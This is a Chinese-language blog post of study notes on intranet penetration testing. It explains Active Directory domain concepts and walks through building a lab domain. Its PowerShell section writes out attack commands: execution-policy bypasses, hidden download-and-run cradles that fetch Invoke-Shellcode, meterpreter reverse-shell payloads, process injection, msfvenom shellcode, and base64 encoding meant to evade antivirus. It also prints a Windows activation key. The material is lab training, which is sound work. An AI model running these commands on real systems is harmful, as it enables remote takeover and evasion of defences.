第一章内网渗透测试基础

灰太狼 2023-07-05 10:16 9阅读 0赞

![format_png][]

**本文章大部分内容来自于 <内网安全攻防：渗透测试实战指南>: https://item.jd.com/12743210.html**

# 0x00 内网基础知识 #

`内网也指局域网(Local Area Network, LAN)`, 是指在某一区域内由多台计算机互连而成的计算机组

在局域网中, 可以实现文件管理, 应用软件共享, 打印机共享, 工作组内的日程安排, 电子邮件和传真通信服务器等

## 工作组 ##

将不同的计算机按功能(或部门)分别列入不同的`工作组(Work Group)`

**加入/创建工作组的方法**: 右键桌面`计算机`\->`属性`\->`更改设置`\->`更改`, 然后输入计算机名和想要加入的工作组名称即可

![format_png 1][]

![format_png 2][]

![format_png 3][]

如果输入的工作组在网络中不存在, , 就相当于新建了一个工作组

设置完后重启电脑, 进入`网络`就可以看到加入工作组的成员了, 也可以**退出工作组, 修改工作组的名称即可**

此时在网络中, 我们可以随时访问别人的共享资源, 别人也可以访问我们的共享资源

**所以工作组并不存在真正的集中管理作用, 工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。**

## 域 ##

`域(Domain)`: 一个具有安全边界的计算机集合(安全边界: 在两个域中, 一个域的用户无法访问另一个域中的资源).

用户想要访问域内的资源, 必须以合法的身份登录域, 而用户对域内的资源拥有什么样的权限, 取决于用户在域内的身份

`域控制器(Domain Controller, DC)`: 域中的一台类似管理服务器的计算机. **域控制器负责所有连入的计算机和用户的验证工作.** 域内的计算机如果想相互访问, 都要经过域控制器的审核

域控制器有个数据库, 由这个**域的账户, 密码, 属于这个域的计算机**等信息构成的

计算机需要满足以下条件, 域控制器才允许其连接

1.  计算机是否属于该域
2.  账号是否存在
3.  密码是否正确

域控制器是整个域的通信枢纽, 所有的权限身份认证都在域控制器上进行, 也就是说, **域内所有用来验证身份的账号和密码散列值都保存在域控制器中**

域中一般有如下环境:

### 单域 ###

在一个位置固定的小公司里, 建立一个域就可以满足需求了

在一个域内, 一般要有至少两台域服务器, 一台作为 **DC**, 另一台作为**备份 DC(BDC)**.

活动目录的数据库(包括用户的账号信息)是存储在 DC 中, 如果没有备份 DC, 一旦 DC 瘫痪了, 域内的其他用户就不能登录该域了.

### 父域和子域 ###

出于管理及其他需求, 需要在网络中划分多个域. 第一个域称为`父域`, 各分部的域称为该域的`子域`

下面的情况会用到父域和子域:

1.  比如一个大公司, 它的不同分公司在不同的地理位置, 则需父域及子域这样的结构, 如北京总公司是父域, 上海分公司是一个子域,。

*  如果把不同地理位置的分公司放在同一个域内, 比如将北京和上海都划分到一个域中, 那么他们之间信息交互（包括同步, 复制等）所花费的时间会比较长, 而且占用的带宽也比较大。（因为**在同一个域内, 信息交互的条目是很多的, 而且不压缩；而在域和域之间, 信息交互的条目相对较少, 而且压缩。**）
 *  还有一个好处, 就是子公司可以通过自己的域来管理自己的资源。
 *  还有一种情况, 就是出于安全策略的考虑, 因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略（包括帐号密码策略等）, 那么可以将财务部门做成一个子域来单独管理。

### 域树 ###

`域树(Tree)`是多个域通过建立信任关系组成的集合.

一个域管理员只能管理本域, 不能访问或者管理其他域.

如果两个域之间需要互相访问, 则需要建立`信任关系(Trust Relaton)`, 信任关系是连接不同域的桥梁.

**域树**内的父域和子域, 可以按需**相互管理**, 也可以**跨网络分配文件件和打印机等设备及资源**, 从而实现**在不同的域之间实现网络资源的共享和管理, 通信及数据传输**

在一个**域树**中, **父域可以包含多个子域**.

**子域是相对父域来说的, 子域只能使用父域的名字作为其域名的后缀**. 也就是说, 在一个域树中, 域的名字是连续的.

![format_png 4][]

### 域森林 ###

`域森林(Forest)`是指多个域树通过**建立信任关系**组成的集合

如下图, 域树`abc.net`无法挂在`abc.com`下, 所以域树`abc.com`与域树`abc.net`之间通过建立**信任关系**来构成**域森林**.

可以通过域树之间建立的信任关系来管理和使用整个森林中的资源, 从而又保持了原有域自身原有的特性。

![format_png 5][]

### 域名服务器 ###

`域名服务器(Domain Name Server, DNS)`是指用于实现`域名(Domain Name)`和与之相对应的`IP 地址(IP Address)`转换的服务器.

**域中的计算机是使用 DNS 来定位域控制器, 服务器及其他计算机, 网络服务的**, 所以**域的名字就是 DNS 域的名字**

在内网渗透测试中, 大都是**通过寻找 DNS 服务器来确定域控制器的位置的(DNS 服务器和域控制器通常配置在同一台机器上)**

## 活动目录(AD) ##

`活动目录(Active Directory, AD)`是指域环境中提供**目录服务**的组件

`目录`: 用于存储有关**网络对象**(例如用户, 组, 计算机, 共享资源, 打印机和联系人等) 的信息

`目录服务`: 指帮助用户快速, 准确地从目录中找到其所需要的信息的服务

活动目录存储的是网络中所有资源的快捷方式, 用户可以通过寻找快捷方式来定位资源. 活动目录与内网的资源相当于字典索引与字典内容.

`逻辑结构`: 在活动目录中, 管理员不需要考虑被管理对象的地理位置, 只需要按照一定的方式将这些对象放置在不同的容器中. 这种不考虑被管理对象的具体地理位置的组织框架称为**逻辑结构**

活动目录的逻辑结构包括前面讲过的`组织单元(OU)`,`域`, `域树`, `域森林`.

**域树**内的所有域共享一个活动目录, 这个**活动目录内的数据分散存储在各个域中, 且每个域只存储该域内的数据.**

活动目录主要提供以下功能:

1.  帐号集中管理, 所有帐号均存在服务器上,方便对帐号的重命令/重置密码。
2.  软件集中管理, 统一推送软件, 统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
3.  环境集中管理, 利用AD可以统一客户端桌面,IE,TCP/IP等设置。
4.  增强安全性, 统一部署杀毒软件和扫毒任务, 集中化管理用户的计算机权限、统一制订用户密码策略等, 可监控网络, 资料统一管理。
5.  更可靠, 更少的宕机时间。如：利用AD控制用户访问权限, 利用群集、负载均衡等技术对文件服务器进行容灾设定, 更可靠, 宕机时间更少。
6.  活动目录为Microsoft统一管理的基础平台, 其它isa,exchange,sms等服务都依赖于这个基础平台。

## 域控制器和活动目录的区别 ##

如果网络规模较大, 就要把网络中的众多对象, 例如计算机, 用户, 用户组, 打印机, 共享文件等, 分门别类, 井然有序地放在一个大仓库中, 并将检索信息整理好, 以便查找, 管理和使用这些对象(资源). 这个拥有层次结构的数据库, 就是`活动目录(AD)数据库`, 简称`AD 库`

那么, 我们要将这个数据库放在哪台计算机上呢? **要实现域环境, 其实就是要安装 AD**.

**如果内网中的一台计算机上安装了 AD, 它就变成了 DC(用于存储活动目录(AD)数据库的计算机)**

## 安全域的划分 ##

划分安全域的目的是将一组安全等级相同的计算机划入同一个网段, 这个网段内的计算机拥有相同的**网络边界**

在**网络边界**上通过部署防火墙来实现**对其他安全域的`网络访问控制策略(NACL)`**, 从而设置允许哪些 IP 地址访问此域, 允许此域访问哪些 IP 地址和网段

一个典型的中小型内网的安全域划分如下图, 一个虚线框表示一个安全域(也是网络的边界, 一般分为 DZM 和内网), **通过硬件防火墙的不同端口实现隔离**

![format_png 6][]

![format_png 7][]

## 域中计算机的分类 ##

在域结构的网络中, 计算机的身份是不平等的

![format_png 8][]

## 域内权限 ##

> https://blog.csdn.net/ljy325/article/details/78554852

全局组   来自本域用于全林
    通用组   来自全林用于全林
    域本地组 来自全林用于本域

比如： 有两个域, A和B, A中的3个财务人员和B中的4个财务人员都需要访问A中的“FINA”文件夹。这时, 可以在A中建一个DL, 因为DL的成员可以来自所有的域, 然后把这8个人都加入这个DL, 并把FINA的访问权赋给DL。这样做的坏处是什么呢？因为DL是在A域中, 所以管理权也在A域, 如果B域中的4个人变成6个人, 那只能B域管理员通知A域管理员, 将DL的成员做一下修改, A域的管理员太累了。

![format_png 9][]

这时候, 我们改变一下, 在A和B域中都各建立一个全局组（G）, 然后在A域中建立一个DL, 把这两个G都加入A域中的DL中, 然后把FINA的访问权赋给DL。哈哈, 这下两个G组都有权访问FINA文件夹了, 是吗？组嵌套造成权限继承嘛！这时候, 两个G分布在A和B域中, 也就是A和B的管理员都可以自己管理自己的G啦, 只要把那3个人和4个人加入G中, 就可以了！以后有任何修改, 都可以自己做了, 不用麻烦A域的管理员！这就是`A-G-DL-P`。

注：A表示用户账号, G表示全局组, U表示通用组, DL表示域本地组, P表示资源权限。`A-G-DL-P策略`是**将用户账号添加到全局组中, 将全局组添加到域本地组中, 然后为域本地组分配资源权限**。

![format_png 10][]

例1：将用户张三（域帐号Z3）加入到域本地组 administrators 中, 并不能使Z3对非DC的域成员计算机有任何特权, 但若加入到全局组Domain Admins中, 张三就是域管理员了, 可以在全局使用, 对域成员计算机是有特权的。

例2：只有在域的DC上, 对资源（如：文件/夹）设置权限, 你可以指派域本地组 administrators；但在非DC的域成员计算机上, 你是无法设置域本地组 administrators 的权限的。因为它是域本地组, 只能在DC上使用。

![format_png 11][]  
![format_png 12][]

# 0x01 主机平台及常用工具 #

## 虚拟机的安装 ##

*  VirtualBOX(https://www.virtualbox.org)
 *  VMwarePlayer(https://my.vmware.com/web/vmware/downloads)
 *  保证初始系统是干净的
 *  配置完成后, 对干净、配置好的虚拟机做个快照

![format_png 13][]

## Kali渗透测试平台及常用工具 ##

![format_png 14][]  
![format_png 15][]

## Windows 渗透测试平台及常用工具 ##

![format_png 16][]

## PowerShell 基础 ##

![format_png 17][]

![format_png 18][]

## Powershell 的基本概念 ##

![format_png 19][]

![format_png 20][]

## Powershell 的常用命令 ##

> 要运行 Powershell 脚本, 必须使用管理权限将策略改成 `Unrestricted`

### 1. 绕过本地权限并执行 ###

随便一个`xxx.ps1`脚本, 该脚本的作用就是输出一个`hello hacker`, 在`Restricted`策略下, 执行如下命令, 可以绕过安全策略, 执行脚本

powershell.exe -ExecutionPolicy Bypass -File .\xxx.ps1

![绕过安全策略][format_png 21]

实战中, 将脚本[PowerUp.ps1][]上传至目标服务器中(这里是 C盘根目录), 在目标本地执行脚本文件, 如下

powershell.exe -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"

> `Invoke-AllChecks` 函数将**检查目标主机的攻击向量**以进行权限提升. 为了更容易阅读, 我们将结果输出到一个名为`allchecks.txt`的文件里, 所以命令应该是这样子`Invoke-AllChecks | Out-File allchecks.txt`

![执行 powerup.ps1 脚本][powerup.ps1]

### 2. 从网站服务器中下载脚本, 绕过本地权限并隐藏执行 ###

**(有问题… …请各位看官跳过)**

首先是下载脚本 [Invoke–Shellcode.ps1][Invoke_Shellcode.ps1] 到目标服务器的命令:

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1');

下面对常用参数进行说明, 括号里为缩写:

1.  `-ExecutionPolicy Bypass (-Exec ByPass)`: 绕过执行安全策略. 在默认情况下, Powershell 的安全策略规定了 Powershell 不能运行命令和文件
2.  `-WindowStyle Hidden (-W Hidden)`: 隐藏窗口
3.  `-NoInteractive (-NonI)`: 非交互模式. Powershell 不为用户提供交互式的提示
4.  `-NoProfile (-NoP)`: Powershell 控制台不加载当前用户的配置文件
5.  `-noexit`: 执行后不退出 Shell. **这个参数在使用键盘记录等脚本时非常重要**
6.  `-NoLogo`: 启动不显示版本标志的 Powershell

接着是在目标机器上执行 meterpreter shell, 当然, 我们需要知道参数是啥, 可以看一下脚本的源码:

![format_png 22][]

所以最终的代码如下:

> 注意, **下载链接那里要用单引号, 不用用双引号**…  
> ![format_png 23][]

具体步骤如下:

1.  先去kali 的 msf 启用后门模块`exploit/multi/handler`, 并选择payload `windows/meterpreter/reverse_https`, 进行监听

![format_png 24][]

1.  然后在目标机器上的`cmd`运行最终代码:

然而还是没有什么鸟用… …

测试的存一下

Powershell.exe  -ExecutionPolicy Bypass IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 1234 -Verbose;

注入进程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
    Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
    $Proc = Get-Process notepad
    Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.82.131 -Lport 1234 -Verbose

另一种注入进程

IEX(New-object Net.WebClient).DownloadString('http://192.168.82.131/PowerSploit/CodeExecution/Invoke--Shellcode.ps1');
    IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
    Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
    $Proc = Get-Process notepad
    Invoke-Shellcode -ProcessID $Proc.Id -Shellcode ($buf) -Force

还是有问题

1.  在 kali 上生成 shellcode

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.82.131 lport=1234 -f powershell -o /var/www/html/code1

1.  msf 启用后门模块`exploit/multi/handler`, 并选择payload `windows/meterpreter/reverse_https`, 进行监听

![format_png 25][]

1.  使用 32 位的Powershell 运行如下命令

cd \
    cd C:\Users\root\Desktop
    Set-ExecutionPolicy unrestricted
    Import-Module .\Invoke--Shellcode.ps1
    IEX(New-object Net.WebClient).DownloadString("http://192.168.82.131/code1");
    Invoke-Shellcode -Shellcode $buf -Force

![format_png 26][]

1.  这时候, kali 的 msf 拿到了 shell

![format_png 27][]

再试一次, 还是失败…

![format_png 28][]

### 3. 使用 Base64 对 Powershell 命令进行编码 ###

使用 Base64 对 Powershell 命令进行编码的目的是**混淆和压缩代码, 从而避免脚本因为一些特殊字符被杀毒软件查杀**

这里需要用到一个 python 脚本–[ps\_encoder.py][ps_encoder.py], 核心函数如下:

def powershell_encode(data):
        #https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
        #Carlos - aka Darkoperator 编写了下面的代码
        blank_command = ""
        powershell_command = ""
        # 删除ISE可能添加的怪异字符
        #python的file对象的readline以及readlines程序中, 针对一些UTF-8编码的文件, 
        #开头会加入BOM来表明编码方式。
        #使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
        n = re.compile(u'(\xef|\xbb|\xbf)')
        # 循环遍历通过正则过滤后的每个字符
        for char in (n.sub("", data)):
            # 每个字符间插入“\x00”空字符
            blank_command += char + "\x00"
        powershell_command = blank_command
        # 对powershell进行base64编码
        powershell_command = base64.b64encode(powershell_command)
        return powershell_command
    
        # base64编码是对二进制数据进行处理, 每3个字节划为一组, 一共是3x8=24bit
        # 再将24bit划为4组, 每组正好6个bit（可表示2的6次方、即64个数）
        #这样我们就得到了4个数字, 将其作为索引查码表, 获得相应的4个字符, 就是编码后的字符串。
        #所以, Base64编码会把3字节的二进制数据编码为4字节的文本数据, 长度增加33%。
        #如果要编码的二进制数据不是3的倍数, 最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
        #z最后编码的末尾加上1个或2个=号, 表示补了多少字节, 解码的时候, 会自动去掉。

要使用该脚本, 需要先将命令保存成文本文件

echo "IEX(New-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1");Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.82.131 -Lport 80 -Force" > raw.txt

然后给`ps_encoder.py`授予执行权限

chmod +x ps_encoder.py

然后以下命令将 raw.txt 里面的命令转换成 base64 编码

./ps_encoder.py -s raw.txt

输入的内容就是经过 Base64 编码的命令了

接着在目标主机上执行如下命令:

Powershell.exe -Nop -NonI -W hidden -Exec Bypass -enc Base64编码的命令

### 4. 32位和 64 位的 Powershell ###

32位PowerShell脚本执行：

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64位PowerShell 脚本执行：

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

# 0x02 搭建内网环境 #

## 搭建域环境 ##

*  域环境常见的有使用Windows 2012 R2、Windows 7或者Windows 2003系统安装Windows域环境。
 *  下载Windows 2012 R2、Windows 7和Windows XP操作系统
 *  推荐几个下载操作系统映像的网站：
    
     *  https://msdn.itellyou.cn/；
     *  https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/；
     *  https://pcriver.com/operating-systems/windows-xp-professional-iso-download.html
 *  创建一个域环境, 创建方法为先安装一台 Windows2012 R2 服务器, 然后将其升级为域控制器, 然后将 Win7 计算机和 WinXP 计算机加入该域。

<table> 
 <thead> 
  <tr> 
   <th>机器</th> 
   <th>ip</th> 
   <th>模式</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>防火墙</td> 
   <td>内网: <code>10.1.1.1</code>;外网自动获取</td> 
   <td>内网网卡为<code>host-only</code>,外网网卡为<code>NAT</code></td> 
  </tr> 
  <tr> 
   <td>Windows 2012 R2</td> 
   <td><code>10.1.1.2</code></td> 
   <td><code>host-only</code></td> 
  </tr> 
  <tr> 
   <td>Windows 7</td> 
   <td><code>10.1.1.10</code></td> 
   <td><code>host-only</code></td> 
  </tr> 
  <tr> 
   <td>Windows XP</td> 
   <td><code>10.1.1.11</code></td> 
   <td><code>host-only</code></td> 
  </tr> 
  <tr> 
   <td>Windows 2003</td> 
   <td>自动获取</td> 
   <td><code>NAT</code></td> 
  </tr> 
  <tr> 
   <td>Kali(攻击者)</td> 
   <td>自动获取</td> 
   <td><code>NAT</code></td> 
  </tr> 
  <tr> 
   <td>Kali(Web 服务器)</td> 
   <td>内网: <code>10.1.1.12</code>;外网:<code>192.168.1.132</code></td> 
   <td>内网网卡<code>host-only</code>, 外网网卡<code>NAT</code></td> 
  </tr> 
 </tbody> 
</table>

![format_png 29][]

### 网卡配置 ###

本人 mac 系统, 用的是vmfusion, 先修改 NET 模式下的网段为`192.168.1.0`, 修改`host-only`模式下的网段为`10.1.1.0`

sudo vim /Library/Preferences/VMware\ Fusion/networking

![format_png 30][]

然后重启 vmfusion 即可

### 防火墙Monowall构建二级内网 ###

#### 安装 ####

http://www.cat-home.org/?action=show&id=158

其他的防火墙: OPNSENSE

![format_png 31][]

![format_png 32][]

![format_png 33][]

![format_png 34][]

![format_png 35][]

![format_png 36][]

硬盘 10G 就够了

![format_png 37][]

![format_png 38][]

需要两张网卡, 所以要添加一张网卡, 一个是`NAT`模式, 一个是`host-only`模式

![format_png 39][]

![format_png 40][]

![format_png 41][]

![format_png 42][]

接着光驱指定系统镜像

![format_png 43][]

![format_png 44][]

然后启动虚拟机就行

启动之后安装选项输入`7`(Install on Hard Drive), 将iso安装到硬盘。

![format_png 45][]

输入硬盘设备名称`ad0`, 上方有提示, 具体情况根据自己的实际提示安装。然后在对话框继续输入`y`, 确认之后便开始进入了安装程序。

安装完成后, 断开iso 文件, 然后重启它

#### 配置网络 ####

在重启之后的m0n0对话框输入`1`, 开始指定接口, 指定具体网卡接入内网还是外网。

![format_png 46][]

注意这里的 mac 地址, 通过查看网卡的 mac 地址, 找出对应关系, `le0`对应外网网卡, `le1`对应内网网卡

![format_png 47][]

这里它询问是否配置 vlans, 这里选择`n`

配置lan口(内网网卡)、wan口(外网网卡)的网卡, 配置完成之后回车保存

![format_png 48][]

![format_png 49][]

#### 配置 ip ####

再次重启之后的m0n0对话框输入`2` ,开始对lan口进行网络地址配置

![format_png 50][]

指定lan口的ip,掩码, 起始地址和结束地址。

![format_png 51][]

#### 登录之前 ####

重置登录密码

![format_png 52][]

密码将被重置为`mono` 账户为`admin`

#### 使用 ####

1.  将一台虚拟机添加一张网卡, 保持和m0n0防火墙处于同一网卡, 这里我们的是`host-only`
2.  开启该虚拟机, 将自动为新网卡获取在`10.1.1.10`——`10.1.1.100`之间的ip

### Windows 2012 R2 ###

#### 系统安装 ####

![format_png 53][]

![format_png 54][]

选择带标准版, 带GUI的服务器安装

![format_png 55][]

![format_png 56][]

![format_png 57][]

![format_png 58][]

![format_png 59][]

然后就是漫长的等待, 完成后设置密码, 一定要记好密码

![format_png 60][]

接下来是激活操作

![format_png 61][]

![format_png 62][]

然后用`32P6N-BFRM3-RB3Q8-FCMPD-MDVJW` 激活码激活就行

#### 1. 设置IP ####

在虚拟机中安装 Windows Server 2012 R2 操作系统, 配置 IP 地址为 `1.1.1.2`, 子网掩码为 `255.255.255.0`, DNS 指向本机 IP 地址`1.1.1.2`

![format_png 63][]

![format_png 64][]

![format_png 65][]

![format_png 66][]

![format_png 67][]

![format_png 68][]

![format_png 69][]

![format_png 70][]

点击"确定"之后, 关闭其他窗口即可

#### 2. 更改计算机名 ####

使用本地管理员账户登录, 修改计算机名为`DC`（可以随意取名。等到后面本机升级成域控制器以后, 机器全名会自动变成为`DC.hacke.testlab`。更改完成后, 需要重启服务器。

![format_png 71][]

![format_png 72][]

![format_png 73][]

![format_png 74][]

![format_png 75][]

然后重启服务器

#### 3. 安装域控制器和DNS服务 ####

接下来, 在 Windows Server 2012 R2 主机上安装域控制器和 DNS 服务。

![format_png 76][]

单击`添加角色和功能`选项, 进入`添加角色和功能向导`页面, 保持默认设置, 单击`下一步`按钮, 进入`安装类型`页面

![format_png 77][]

![format_png 78][]

选择`基于角色或者基于功能的安装`选项, 单击`下一步`按钮, 进入`服务器选择`选择页面。

![format_png 79][]

目前的服务器池中只有当前这一台机器, 保持默认设置。单击`下一步`按钮

> ps: 这里的 ip 地址应该是`10.1.1.2`, 我用的是之前的图, 所以… 不要在意那些细节!!

![format_png 80][]

在`服务器角色`页面勾选`Active Directory 域服务`和`DNS 服务器`复选框, 然后点击`下一步`

![format_png 81][]

在`功能`页面, 保持默认设置, 单击三次`下一步`按钮, 进入`确认`页面。

![format_png 82][]

![format_png 83][]

![format_png 84][]

确认需要安装的组件后, 勾选`如果需要, 自动重新启动目标服务器`复选框, 然后, 单击`安装`按钮。

![format_png 85][]

安装成功之后, 点击`关闭`按钮

![format_png 86][]

#### 4. 升级服务器 ####

在`服务器管理器`页面中, 在右上角可以看到一个中间有`!`的三角形按钮。单击该按钮, 进入`Active Directory 域服务配置向导`页面

![format_png 87][]

在部署操作中单击选中`添加新林`单选按钮并输入根域名（必须使用允许的 DNS 域命名约定）。将根域名设置 为`hacker.testlab`, 然后点击`下一步`

![format_png 88][]

在`域控制器选项`页面, 将林功能级别、域功能级别都设置为 `Windows Server 2012 R2`, 在创建新林时, 在默认情况下选择 DNS 服务器, 林中的第一个域控制器必须是全局目录服务器且不能是只读域控制器（RODC）。**输入目录服务还原模式密码, 在开机进入安全模式修复 AD 数据库时将使用此密码**。然后点击`下一步`

![format_png 89][]

在 `DNS 选项页面` 会出现关于 DNS 的警告。不用理会该警告, 保持默认设置。单击`下一步` 按钮, 进入`其他选项`页面

![format_png 90][]

在 NetBIOS 域名（不支持 DNS 域名的旧系统, 如 Windows 98、 NT 系统, 需要通过 NetBIOS 域名进行通信）页面保持默认设置。单击`下一步`按钮, 进入`路径`界面

![format_png 91][]

指定数据库、日志、sysvol 的存放位置, 保持默认设置。接着单击`下一步` 按钮

![format_png 92][]

保持页面上的默认设置, 单击`下一步`按钮

![format_png 93][]

最后单击`安装`按钮

![format_png 94][]

安装完成后, 需要重启服务器。重启完成后, 需要使用域管理员账户（`HACKER\Administrator`）登录。此时在`服务器管理器` 页面就可以看到 AD DS、DNS 服务了

![format_png 95][]

![format_png 96][]

![format_png 97][]

![format_png 98][]

这时候, 检查 DC 是否已经注册到 DNS：**域控制器 DC 会将自己扮演的角色注册到 DNS 服务器内, 以便让其他计算机能够通过 DNS 服务器来找到这台域控制器**, 因此先检查 DNS 服务器内是否已经存在这些记录。

![format_png 99][]

![format_png 100][]

图中的主机(A)记录表示域控制器 `dc.hacker.testlab.xxx` 已经正确地将其主机名与 IP 地址注册到 DNS 服务器内。DNS 客户端所提出的请求大多是**正向解析**, 即通过 hostname 来解析 IP 地址对应与此处的正向查找区域；通过 IP 来查找 hostname 即为**反向解析**, 对应于此处的反向查找区域。

![format_png 101][]

如果域控制器已经正确地将其扮演的角色注册到 DNS 服务器, 则还应该有对应的 `_tcp`、`_udp` 等文件夹。在单击 `_tcp` 文件夹后可以看到如下所示的界面, 其中数据类型为服务位置（SRV）的 `_ldap` 记录, 表示`dc.hacker.testlab.xxx` 已经正确地注册为域控制器。其中的 `_gc` 记录还可以看出全局编录服务器的角色也是由 `dc.hacker.testlab.xxx` 扮演的。

![format_png 102][]

DNS 区域内包含这些数据后, 其他要加入域的计算机就可以通过通过此区域来得知域控制器为`dc.hacker.testlab.xxx` 。这些加入域的成员（域控制器、成员服务器、Windows 8、Windows 7、Windows Vista、Windows XP Professional 等）也会将其主机与 IP 地址数据注册到此区域内。

#### 5. 创建Active Directory用户 ####

为 Windows 7 和 Windows XP 用户创建**域控制器账户**

在`开始菜单`找到`管理工具`, 打开`Active Directory 用户和计算机`

![format_png 103][]

![format_png 104][]

在`Active Directory 用户和计算机`页面, 点击`Users`目录,并单击右键, 选择`新建`\->`用户`

![format_png 105][]

这里创建一个 `testuser` 账户, 如图

![format_png 106][]

![format_png 107][]

![format_png 108][]

这样子就添加了一个普通用户

![format_png 109][]

可以看一下它的权限

![format_png 110][]

![format_png 111][]

`Domain Users`, 即普通的域用户

### Windows 7 ###

#### 1. 设置 ip ####

将 Windows 7 系统加入该域, 同样需要先设置 IP 地址为 `10.1.1.10`, DNS 地址为 `10.1.1.2`, 然后运行`ping hacker.testlab`命令进行测试

![format_png 112][]

![format_png 113][]

![format_png 114][]

![format_png 115][]

![format_png 116][]

![format_png 117][]

#### 2. 更改计算机名并加入域 ####

接下来, 将主机加入域, 更改计算机名为`WIN7`（对于 Windows 7）, 将域名更改为 `hacker.testlab`。

![format_png 118][]

![format_png 119][]

![format_png 120][]

![format_png 121][]

单击`确定`按钮后, 会弹出要求输入拥有权限的域账户名称和密码的对话框。 这里输入刚刚创建成功的`testuser`的账号和密码. 操作成功后, 会出现重启计算机的提示。

![format_png 122][]

![format_png 123][]

![format_png 124][]

然后点击`关闭`

![format_png 125][]

计算机重启后, 使用刚刚创建的`testuser`用户登录域, 点击`切换用户`\->`其他用户`

![format_png 126][]

![format_png 127][]

![format_png 128][]

#### 3. 关闭防火墙 ####

登录成功后, 这时候回到 dc 中的`Active Directory 用户和计算机`, 可以看到`Computers`目录下, 多了我们刚刚加入的`WIN7`

![format_png 129][]

此时可以`管理`一波, 如果出现类似如下的提示, 则需要配置防火墙

![format_png 130][]

![format_png 131][]

当然, 我们搞渗透的话, 为了方便直接关闭防火墙就行

![format_png 132][]

![format_png 133][]

![format_png 134][]

![format_png 135][]

![format_png 136][]

关闭防火墙后, 再打开`管理`, 即可看到

![format_png 137][]

### windows xp ###

xp 加入域的操作和 win7 类似, 这里就不再详解了

![format_png 138][]

![format_png 139][]

![format_png 140][]

### Kali ###

![format_png 141][]

![format_png 142][]

![format_png 143][]

进入kali 可以看到, `eth1`是外网网卡, `eth0`是内网网卡

![format_png 144][]

所以接下来要给内外网网卡配置静态 ip 地址

vim /etc/network/interfaces

增加如下内容:

auto eth1
    iface eth1 inet static
    address 192.168.1.132
    netmask 255.255.255.0
    gateway 192.168.1.2
    
    auto eth0
    iface eth0 inet static
    address 10.1.1.12
    netmask 255.255.255.0

![format_png 145][]

> 这里的`gateway`网关配置成`192.168.1.2`的原因是, 外网网卡的网关就是这个…dhcp 自动获取的就是这个…  
> ![format_png 146][]

vim /etc/resolv.conf

![format_png 147][]

保存之后重启网络

service networking  restart

然后执行如下命令:

route del default
    route add default gw 192.168.1.2
    route add -net 10.1.1.0/24 gw 10.1.1.1 eth0

至此配置完成, 然后测试一波. 可以ping 一下防火墙, dns, 域机器, 百度

![format_png 148][]

然后找一台域机器, 这里是 winxp, ping 一波这台 kali

![format_png 149][]

## 搭建其他服务器环境 ##

安装域服务器后, 可以安装几个用于测试的干净的操作系统或者存在漏洞的应用程序, 如 Metasploitable2、Metasploitable3、OWASPBWA 和 DVWA 等。由于包含了诸多用于测试的安全弱 点, 建议在 Host-only 或 NAT 的虚拟机网络模式下使用服务器。

### 1. Metasploitable2 ###

Metasploitable2 是一个 Ubuntu Linux 虚拟机, 它预置了常见的漏洞。Metasploitable2 环境的 VMWare 镜像的下载地址为 http://sourceforge.net/projects/metasploitable/files/Measploitable2。

下载 Metasploitable2 后, 解压软件, 并在 VMware Workstation Player 中打开软件, 输入用户 名 msfadmin 和密码 msfadmin, 登录软件。

### 2. Metasploitable3 ###

Metasploitable3 是一个易受攻击的 Ubuntu Linux 虚拟机, 专为测试常见漏洞而设计。此虚拟 机与 VMWare、VirtualBox 和其他常见的虚拟化平台兼容, 下载地址为 https://github.com/rapid7/metasploitable3。

下载后, 使用 VMware Workstation Player 运行它, 默认的用户名和密码分别是 msfadmin 和 msfadmin。

### 3. OWASPBWA ###

OWASPBWA 是 OWASP 出品的一款基于虚拟机的渗透测试演练工具, 提供了一个存在大量 漏洞的网站应用程序环境。 OWASPBWA 同样需要下载和安装, 下载地址为 https://sourceforge.net/projects/owaspbwa/files/。

### 4. DVWA ###

DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的 PHP/MySQL Web 应用, 旨在为安全专业人员测试自己的专业技能和工具提供合法的环境, 帮助 Web 开发者更 好地理解 Web 应用安全防范过程。DVWA 基于 PHP、Apache 及 MySQL, 需要安装到本地使用。

还有一些在线学习渗透测试的网站, 可以访问 https://www.hackthissite.org/

# 思维导图 #

https://fengwenhua.top/upload/2020/2/内网渗透测试基础-0f3b178fa5f3433ca36e2e08c849d14e.xmind

[format_png]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vZmVuZ3dlbmh1YS9JbWFnZUJlZC9yYXcvbWFzdGVyLzE1ODEzMjA0MjVfMjAyMDAyMDkxNzU1MDE2MTNfMzQ2NDc4ODk5LnBuZw?x-oss-process=image/format,png
